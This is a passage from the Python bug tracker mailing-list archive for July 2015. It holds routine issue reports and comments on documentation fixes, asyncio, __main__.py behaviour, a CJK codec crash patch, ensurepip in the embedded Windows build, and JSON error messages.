<1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za> New submission from Matthew Keeter: The C API docs for PyRun_StringFlags, PyEval_EvalCodeEx, and PyEval_EvalCode say that globals and locals both must be dictionaries. However, digging into the source [1] shows that locals can be any object implementing the mapping protocol. Furthermore, the Python docs for eval and exec (which end up taking the same path) match the implementation, saying that locals can be any mapping object (which has been true since 2.4). The attached patch changes the C API docs to reflect the Python docs (and the actual implementation). No new tests are required, as test_general_eval [2] already checks that an arbitrary mapping object can be used as the locals variable in exec. [1] https://github.com/python/cpython/blob/master/Objects/frameobject.c#L628-L629 [2] https://github.com/python/cpython/blob/master/Lib/test/test_builtin.py#L473 ---------- assignee: docs at python components: Documentation files: locals.patch keywords: patch messages: 246761 nosy: Matthew Keeter, docs at python priority: normal severity: normal status: open title: locals dictionary in PyRun_String type: enhancement versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39929/locals.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:31:52 2015 From: report at bugs.python.org (Gustavo J. A. M. Carneiro) Date: Wed, 15 Jul 2015 13:31:52 +0000 Subject: [issue23812] asyncio.Queue.put_nowait(), followed get() task cancellation leads to item being lost In-Reply-To: <1427723992.8.0.0858000383291.issue23812@psf.upfronthosting.co.za> Message-ID: <1436967112.07.0.164399979507.issue23812@psf.upfronthosting.co.za> Gustavo J. A. M. Carneiro added the comment: Don't know if it helps, but I made a github pull request for this: https://github.com/python/asyncio/pull/256 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:39:50 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 13:39:50 +0000 Subject: [issue24638] asyncio "loop argument must agree with future" error message could be improved Message-ID: <1436967590.12.0.584324642332.issue24638@psf.upfronthosting.co.za> New submission from R. David Murray: I just got the titular error message and had no idea what it meant until I looked at the source. It seems to mean "the specified loop is different from the _loop attribute of the future-or-coroutine". Since _loop is nominally private, perhaps the message could be "the future or coroutine belongs to a different loop than the one specified as the loop argument". ---------- messages: 246763 nosy: r.david.murray priority: normal severity: normal status: open title: asyncio "loop argument must agree with future" error message could be improved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:40:19 2015 From: report at bugs.python.org (Ruth Berkow) Date: Wed, 15 Jul 2015 13:40:19 +0000 Subject: [issue24639] Documentation: broken link on unittest page Message-ID: <1436967619.28.0.696001000901.issue24639@psf.upfronthosting.co.za> New submission from Ruth Berkow: The documentation for unittest, in the "See also" box contains a link for "Simple Smalltalk Testing: With Patterns" that leads to a 404. Replacing this with a working link seems like a good idea; may I suggest http://live.exept.de/doc/online/english/tools/misc/testfram.htm ---------- assignee: docs at python components: Documentation messages: 246764 nosy: Ruth Berkow, docs at python priority: normal severity: normal status: open title: Documentation: broken link on unittest page type: performance versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:41:12 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 13:41:12 +0000 Subject: [issue24638] asyncio "loop argument must agree with future" error message could be improved In-Reply-To: <1436967590.12.0.584324642332.issue24638@psf.upfronthosting.co.za> Message-ID: <1436967672.42.0.528799480122.issue24638@psf.upfronthosting.co.za> R. David Murray added the comment: This error message is in tasks.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:43:53 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 13:43:53 +0000 Subject: [issue24639] Documentation: broken link on unittest page In-Reply-To: <1436967619.28.0.696001000901.issue24639@psf.upfronthosting.co.za> Message-ID: <1436967833.66.0.315876917767.issue24639@psf.upfronthosting.co.za> R. David Murray added the comment: This has already been corrected in issue 24548 using a link to archive.org. ---------- nosy: +r.david.murray resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Broken link in the unittest documentation type: performance -> behavior versions: -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 17:22:04 2015 From: report at bugs.python.org (Ezio Melotti) Date: Wed, 15 Jul 2015 15:22:04 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436973724.32.0.104223946642.issue24632@psf.upfronthosting.co.za> Ezio Melotti added the comment: > The surprising thing is that __main__ works without there being an __init__. That's also what surprised me, I always thought __main__.py was supposed to be used within a package executed with "python -m pkg", but apparently "regular" dirs and zip files can have one too -- as long as they are executed as "python dir_or_zip". This should have answered the question I posed in my first message: what is __main__.py and what is its purpose? As for the others: Q: when should it be used? A: whenever you want to make a package/dir/zip executable Q: what should it contain? A: usually an import + a function call that launches the app should be enough, but might contain more code if necessary Q: is it ok to have other __main__.py in the subpackages (e.g. test/__main__.py to run the tests with python -m package.test)? A: this seems to work and should be OK Q: how it interacts __init__.py (which one is executed first?) A: __init__.py seems to be executed first. I'm not aware of other interactions. If these are indeed correct, a patch can be made (feel free to do it, since I don't when I'll have time to do it myself). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 17:55:33 2015 From: report at bugs.python.org (chris laws) Date: Wed, 15 Jul 2015 15:55:33 +0000 Subject: [issue23972] Asyncio reuseport In-Reply-To: <1429185135.77.0.485030290106.issue23972@psf.upfronthosting.co.za> Message-ID: <1436975733.82.0.816587506602.issue23972@psf.upfronthosting.co.za> chris laws added the comment: Attached is a patch that implements the suggested solution along with tests and associated doc updates. Hope this helps. ---------- keywords: +patch Added file: http://bugs.python.org/file39930/23972_cjl.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 19:19:45 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 15 Jul 2015 17:19:45 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436980785.9.0.352570751999.issue24632@psf.upfronthosting.co.za> Ethan Furman added the comment: RDM noted: --------- > The surprising thing is that __main__ works without there being an > __init__. I didn't know that, assumed it wasn't true, and so never > tried it. I think this is due to PEP 420 Namespace Packages. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 19:41:26 2015 From: report at bugs.python.org (Brett Cannon) Date: Wed, 15 Jul 2015 17:41:26 +0000 Subject: [issue24631] Regression in timeit with multyline setup In-Reply-To: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> Message-ID: <1436982086.27.0.529133192363.issue24631@psf.upfronthosting.co.za> Brett Cannon added the comment: Patch LGTM ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 19:55:35 2015 From: report at bugs.python.org (Brett Cannon) Date: Wed, 15 Jul 2015 17:55:35 +0000 Subject: [issue22858] unittest.__init__:main shadows unittest.main In-Reply-To: <1415874204.41.0.576776716148.issue22858@psf.upfronthosting.co.za> Message-ID: <1436982935.71.0.334863070912.issue22858@psf.upfronthosting.co.za> Brett Cannon added the comment: Ah, I see my misunderstanding; when Antoine said "Numba subclasses unittest.main" I wasn't thinking and thought he meant something in unitest.main the module, not the unittest.main alias for unittest.main.TestProgram which is exposed as unitest.__init__.main (yeah, that name clash is nasty). Then the unittest.main module can be treated like any other module in terms of deprecation and doesn't need any special-casing. Sorry about the mix-up on my end. So I say rename the modules to _*, add the deprecation to the old names in 3.6, and then remove the modules in 3.7. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 19:55:51 2015 From: report at bugs.python.org (Brett Cannon) Date: Wed, 15 Jul 2015 17:55:51 +0000 Subject: [issue22858] unittest.__init__:main shadows unittest.main In-Reply-To: <1415874204.41.0.576776716148.issue22858@psf.upfronthosting.co.za> Message-ID: <1436982951.71.0.770355300745.issue22858@psf.upfronthosting.co.za> Brett Cannon added the comment: Or deprecate in 3.5 if Larry will let you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 20:32:33 2015 From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=) Date: Wed, 15 Jul 2015 18:32:33 +0000 Subject: [issue23530] os and multiprocessing.cpu_count do not respect cpuset/affinity In-Reply-To: <1436821058.15.0.903776026807.issue23530@psf.upfronthosting.co.za> Message-ID: Charles-Fran?ois Natali added the comment: It's just a doc improvement, I'm not convinced it really needs backporting. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 20:52:09 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 15 Jul 2015 18:52:09 +0000 Subject: [issue24636] re.search not respecting anchor markers in or-ed construction In-Reply-To: <1436955204.19.0.984785735943.issue24636@psf.upfronthosting.co.za> Message-ID: <1436986329.83.0.0670370546382.issue24636@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 21:12:55 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 15 Jul 2015 19:12:55 +0000 Subject: [issue24631] Regression in timeit with multyline setup In-Reply-To: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> Message-ID: <20150715191252.30199.86817@psf.io> Roundup Robot added the comment: New changeset fce682a493e7 by Serhiy Storchaka in branch '3.5': Issue #24631: Fixed regression in the timeit modulu with multyline setup. https://hg.python.org/cpython/rev/fce682a493e7 New changeset 0b04e5689c33 by Serhiy Storchaka in branch 'default': Issue #24631: Fixed regression in the timeit modulu with multyline setup. https://hg.python.org/cpython/rev/0b04e5689c33 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 21:13:13 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 15 Jul 2015 19:13:13 +0000 Subject: [issue24631] Regression in timeit with multyline setup In-Reply-To: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> Message-ID: <1436987593.65.0.502406998762.issue24631@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 22:02:14 2015 From: report at bugs.python.org (Mladen Milosevic) Date: Wed, 15 Jul 2015 20:02:14 +0000 Subject: [issue8106] SSL session management In-Reply-To: <1268184052.67.0.269640299758.issue8106@psf.upfronthosting.co.za> Message-ID: <1436990534.39.0.0668013405506.issue8106@psf.upfronthosting.co.za> Changes by Mladen Milosevic : ---------- nosy: +mladen.milosevic _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 22:36:31 2015 From: report at bugs.python.org (Chris Krycho) Date: Wed, 15 Jul 2015 20:36:31 +0000 Subject: [issue24640] no ensurepip in embedded Windows distribution Message-ID: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za> New submission from Chris Krycho: There is no `ensurepip` module bundled with the embedded distribution of Python 3.5 for Windows: Z:\python-3.5.0b3-embed> .\python -m ensurepip --upgrade Z:\python-3.5.0b3-embed\python.exe: No module named ensurepip This may be the *intent*, but I haven't been able to find any documentation to that effect in the [docs](https://docs.python.org/3.5/library/ensurepip.html). It looks like it should either be included with the distribution or noted as excluded in the docs. (I can readily submit a patch to the latter if it needs doing.) (Background: I'm looking at various ways to bundle up and ship a Python application, and as part of that am looking at just shipping the embedded Python distribution, which may end up being the most straightforward for us. One of the things I'm still sorting out is the best to get and bundle up dependencies if that's the approach we take.) ---------- components: Installation messages: 246775 nosy: chriskrycho, dstufft, ncoghlan, steve.dower priority: normal severity: normal status: open title: no ensurepip in embedded Windows distribution type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 22:36:52 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 15 Jul 2015 20:36:52 +0000 Subject: [issue24640] no ensurepip in embedded Windows distribution In-Reply-To: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za> Message-ID: <1436992612.65.0.650201277963.issue24640@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- components: +Windows nosy: +paul.moore, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 22:49:32 2015 From: report at bugs.python.org (Madison May) Date: Wed, 15 Jul 2015 20:49:32 +0000 Subject: [issue24641] Log type of unserializable value when raising JSON TypeError Message-ID: <1436993372.93.0.482029912936.issue24641@psf.upfronthosting.co.za> New submission from Madison May: Currently the json lib only logs the string representation of the variable, which does not always include type information. I recently ran into a difficult to debug issue with code similar to the following: ``` import json import numpy as np d = {'data': np.int16(5)} json.dumps(d) ``` which produces the following error: ``` TypeError: 5 is not JSON serializable ``` It took us quite a while to determine that `5` was actually of type `np.int` instead of the native type. A cursory glance at StackOverflow suggests that I'm not alone in running into this issue: http://stackoverflow.com/questions/10872604/json-dump-throwing-typeerror-is-not-json-serializable-on-seemingly-vali I'd like to consider modifying the error message to be more similar to the following: ``` TypeError: 5 of type `numpy.int16` is not JSON serializable ``` ---------- components: Library (Lib) messages: 246776 nosy: Madison May priority: normal severity: normal status: open title: Log type of unserializable value when raising JSON TypeError versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 23:55:55 2015 From: report at bugs.python.org (Steve Dower) Date: Wed, 15 Jul 2015 21:55:55 +0000 Subject: [issue24640] no ensurepip in embedded Windows distribution In-Reply-To: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za> Message-ID: <1436997355.68.0.70126936415.issue24640@psf.upfronthosting.co.za> Steve Dower added the comment: It's a deliberate exclusion, I just haven't gotten to all the documentation yet (mostly because I still expect things to change). My idea was that packages would be deployed statically alongside the embedded distribution rather than going into a site-packages directory (which should also be missing). Obviously this needs to be written up, but it may not be reasonable. To automate packaging you probably want to use a separate pip to install into a temporary directory (--root option? I forget the option right now) and bundle that up. Does that sound feasible for you? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 23:58:04 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 15 Jul 2015 21:58:04 +0000 Subject: [issue24640] no ensurepip in embedded Windows distribution In-Reply-To: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za> Message-ID: <1436997484.52.0.184191256226.issue24640@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 23:58:47 2015 From: report at bugs.python.org (Chris Krycho) Date: Wed, 15 Jul 2015 21:58:47 +0000 Subject: [issue24640] no ensurepip in embedded Windows distribution In-Reply-To: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za> Message-ID: <1436997527.56.0.856416908788.issue24640@psf.upfronthosting.co.za> Chris Krycho added the comment: Using --root or --target (as appropriate to the specific package) does appear to be the preferred approach for that, and given the constraints of an embedded installation, I agree that that's the most reasonable solution. I spent a fair bit of time reading up on that and the other options, and can't see a better one. I've already verified that approach will work for us, so I imagine it should for others as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 00:01:25 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 15 Jul 2015 22:01:25 +0000 Subject: [issue23972] Asyncio reuseport In-Reply-To: <1429185135.77.0.485030290106.issue23972@psf.upfronthosting.co.za> Message-ID: <1436997685.37.0.729072986574.issue23972@psf.upfronthosting.co.za> STINNER Victor added the comment: A quick search told me that "Windows only knows the SO_REUSEADDR option, there is no SO_REUSEPORT". It should be at least documented that SO_REUSEADDR is not supported on Windows. Maybe we should raise an exception on Windows if reuse_port=True? Ignoring the parameter is a different option, but it should be well documented that the option is ignored if socket.SO_REUSEPORT is not defined. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 00:26:53 2015 From: report at bugs.python.org (Joe Jevnik) Date: Wed, 15 Jul 2015 22:26:53 +0000 Subject: [issue23926] skipitem() in getargs.c still supports 'w' and 'w#', and shouldn't In-Reply-To: <1428893040.89.0.319300847517.issue23926@psf.upfronthosting.co.za> Message-ID: <1436999213.33.0.742319876044.issue23926@psf.upfronthosting.co.za> Joe Jevnik added the comment: Sorry it took so long to get back to this. I didn't realize this was still open. I have provided the update to the docs and moved it to the 3.6 section. I also made sure the patch still applies and the tests all pass. ---------- Added file: http://bugs.python.org/file39931/skipitems.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 00:27:47 2015 From: report at bugs.python.org (Aaron Hill) Date: Wed, 15 Jul 2015 22:27:47 +0000 Subject: [issue23247] Multibyte codec StreamWriter.reset() crashes In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1436999267.73.0.151091435757.issue23247@psf.upfronthosting.co.za> Aaron Hill added the comment: This is also present in the latest Python 3.6. I'm going to work on providing a patch for this, unless someone else already is ---------- nosy: +Aaron1011 versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 01:00:54 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 15 Jul 2015 23:00:54 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437001254.98.0.366204839153.issue23247@psf.upfronthosting.co.za> STINNER Victor added the comment: > Happens for all the multibyte codecs: (...) All these codecs share the same C implementation: the "CJK" codecs. The bug was introduced in Python 3.4 by my huge changeset d621bdaed7c3: Issue "#17693: CJK encoders now use the new Unicode API (PEP 393)". It looks like there was no test for this specific bug :-/ Calling reset() just after creating a StreamReader object. Attached patch should fix the crash. @Aaron1011: Can you please try to write a patch adding a unit test to test_codecs reproducing the crash? ---------- keywords: +patch title: Multibyte codec StreamWriter.reset() crashes -> Crash in the reset() method of StreamWriter of CJK codecs versions: +Python 3.5 Added file: http://bugs.python.org/file39932/cjk_codecs_reset.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 01:02:01 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 15 Jul 2015 23:02:01 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437001321.27.0.868932536772.issue23247@psf.upfronthosting.co.za> STINNER Victor added the comment: > It looks like there was no test for this specific bug :-/ Calling reset() just after creating a StreamReader object. Oops: StreamWriter, not StreamReader. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 02:56:58 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 16 Jul 2015 00:56:58 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437008218.78.0.542381488138.issue23247@psf.upfronthosting.co.za> Martin Panter added the comment: Perhaps this test case proposed in my patch for Issue 13881 could be useful: +def test_writer_reuse(self): + """StreamWriter should be reusable after reset""" Looks like that is where my ?broken_stream_codecs? list from the original post came from. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 03:55:59 2015 From: report at bugs.python.org (Berker Peksag) Date: Thu, 16 Jul 2015 01:55:59 +0000 Subject: [issue23661] Setting a exception side_effect on a mock from create_autospec does not work In-Reply-To: <1426293940.15.0.253058774664.issue23661@psf.upfronthosting.co.za> Message-ID: <1437011759.31.0.200485897953.issue23661@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- resolution: -> fixed stage: -> resolved status: open -> closed versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 04:08:14 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 16 Jul 2015 02:08:14 +0000 Subject: [issue13881] Stream encoder for zlib_codec doesn't use the incremental encoder In-Reply-To: <1327606849.1.0.885842099772.issue13881@psf.upfronthosting.co.za> Message-ID: <1437012494.42.0.0088372323686.issue13881@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- dependencies: +Fix codecs.iterencode/decode() by allowing data parameter to be omitted stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 04:45:11 2015 From: report at bugs.python.org (Berker Peksag) Date: Thu, 16 Jul 2015 02:45:11 +0000 Subject: [issue24626] please sync cgi.parse document In-Reply-To: <1436757548.2.0.774685113457.issue24626@psf.upfronthosting.co.za> Message-ID: <1437014711.99.0.00682531986241.issue24626@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 04:57:43 2015 From: report at bugs.python.org (Aaron Hill) Date: Thu, 16 Jul 2015 02:57:43 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437015463.69.0.745639155158.issue23247@psf.upfronthosting.co.za> Aaron Hill added the comment: The included patch fixes the issue, and modifies the existing unittest to prevent a future regression. The patch corrects an issue where the 'pending' struct field was NULL, but was used as the input to multibytecodec_encode anyay. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 05:27:43 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jul 2015 03:27:43 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437017263.95.0.384149612654.issue23247@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: cjk_codecs_reset.patch LGTM. ---------- assignee: serhiy.storchaka -> haypo stage: -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 05:29:46 2015 From: report at bugs.python.org (Aaron Hill) Date: Thu, 16 Jul 2015 03:29:46 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437017386.18.0.561491997386.issue23247@psf.upfronthosting.co.za> Aaron Hill added the comment: The patch didn't get attached for some reason. It's attached now. ---------- Added file: http://bugs.python.org/file39933/fix-multibytecodec-segfault.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 06:33:12 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 16 Jul 2015 04:33:12 +0000 Subject: [issue24635] test_typing is flaky In-Reply-To: <1436924045.27.0.387044794067.issue24635@psf.upfronthosting.co.za> Message-ID: <1437021192.55.0.3039282947.issue24635@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 06:33:33 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 16 Jul 2015 04:33:33 +0000 Subject: [issue23963] Windows build error using original openssl source In-Reply-To: <1429100430.86.0.568856715726.issue23963@psf.upfronthosting.co.za> Message-ID: <20150716043330.29278.15675@psf.io> Roundup Robot added the comment: New changeset d1f4d14bd550 by Zachary Ware in branch '2.7': Close #23963: Fix building with original OpenSSL sources. https://hg.python.org/cpython/rev/d1f4d14bd550 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 06:34:53 2015 From: report at bugs.python.org (Zachary Ware) Date: Thu, 16 Jul 2015 04:34:53 +0000 Subject: [issue23963] Windows build error using original openssl source In-Reply-To: <1429100430.86.0.568856715726.issue23963@psf.upfronthosting.co.za> Message-ID: <1437021293.62.0.156818282913.issue23963@psf.upfronthosting.co.za> Zachary Ware added the comment: bcf93e3766e8 applied cleanly to 2.7, so I just used it. Thanks for the report, and sorry it took so long to fix! ---------- assignee: -> zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 07:42:07 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 16 Jul 2015 05:42:07 +0000 Subject: [issue24508] Backport 3.5's Windows build project files to 2.7 In-Reply-To: <1435206408.67.0.0166063443293.issue24508@psf.upfronthosting.co.za> Message-ID: <20150716054204.18738.4089@psf.io> Roundup Robot added the comment: New changeset ca78b9449e04 by Zachary Ware in branch '2.7': Close #24508: Backport the 3.5 MSBuild project files. https://hg.python.org/cpython/rev/ca78b9449e04 ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 08:40:25 2015 From: report at bugs.python.org (Stefan Behnel) Date: Thu, 16 Jul 2015 06:40:25 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1437028825.95.0.514076198379.issue23601@psf.upfronthosting.co.za> Stefan Behnel added the comment: Benchmark results look good to me (although a header line is missing) and seem to match my expectations. Sounds like we should allow this change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 08:54:21 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 16 Jul 2015 06:54:21 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <20150716065418.23365.68756@psf.io> Roundup Robot added the comment: New changeset 5c3812412b6f by Raymond Hettinger in branch '3.5': Issue #24583: Fix crash when set is mutated while being updated. https://hg.python.org/cpython/rev/5c3812412b6f New changeset 05cb67dab161 by Raymond Hettinger in branch 'default': Issue #24583: Fix crash when set is mutated while being updated. https://hg.python.org/cpython/rev/05cb67dab161 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 08:58:35 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 16 Jul 2015 06:58:35 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1437029915.96.0.223992599271.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 09:10:31 2015 From: report at bugs.python.org (Ronald Oussoren) Date: Thu, 16 Jul 2015 07:10:31 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437030631.06.0.540833314627.issue24621@psf.upfronthosting.co.za> Changes by Ronald Oussoren : ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 09:28:29 2015 From: report at bugs.python.org (Ezio Melotti) Date: Thu, 16 Jul 2015 07:28:29 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1437031709.24.0.599521271636.issue24632@psf.upfronthosting.co.za> Ezio Melotti added the comment: > I think this is due to PEP 420 Namespace Packages. It works on Python 2 too: $ ls execdir/ foo.py __main__.py $ cat execdir/foo.py print("foo imported") $ cat execdir/__main__.py import foo; print("main imported") $ python execdir/ foo imported main imported $ python -V Python 2.7.8 I haven't done any tests about the interaction of namespace packages and __main__.py, but if there are additional semantics, they should be documented as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 09:29:51 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jul 2015 07:29:51 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437031791.7.0.101226233547.issue24621@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: unzip can't proceed this file too. $ unzip -v not_working.zip Archive: not_working.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. unzip: cannot find zipfile directory in one of not_working.zip or not_working.zip.zip, and cannot find not_working.zip.ZIP, period. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 10:42:39 2015 From: report at bugs.python.org (Davide Rizzo) Date: Thu, 16 Jul 2015 08:42:39 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1437036159.62.0.699163197989.issue24632@psf.upfronthosting.co.za> Davide Rizzo added the comment: As far as I understand, assuming dir/ contains a __main__.py file $ python dir is equivalent to $ python dir/__main__.py in that it's behaviourally nothing more than executing a script in that dir and setting sys.path accordingly. This is the same in Python 2 and Python 3. This, together with the notion that zip files and directories are treated in the same way, allows running python file.zip since we have no option for executing a file *within* the zip file. Altogether, this is a significantly different behaviour than the one for "python -m pkg". That would be closer to: >>> import pkg.__main__ This also explains why the package __init__ is executed first (you import the package first, then the module). A significant difference is that it's not a real import (just as pkg.__init__ is not imported) and sys.modules is not affected. ---------- nosy: +davide.rizzo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 10:43:49 2015 From: report at bugs.python.org (Alex Walters) Date: Thu, 16 Jul 2015 08:43:49 +0000 Subject: [issue24642] Will there be an MSI 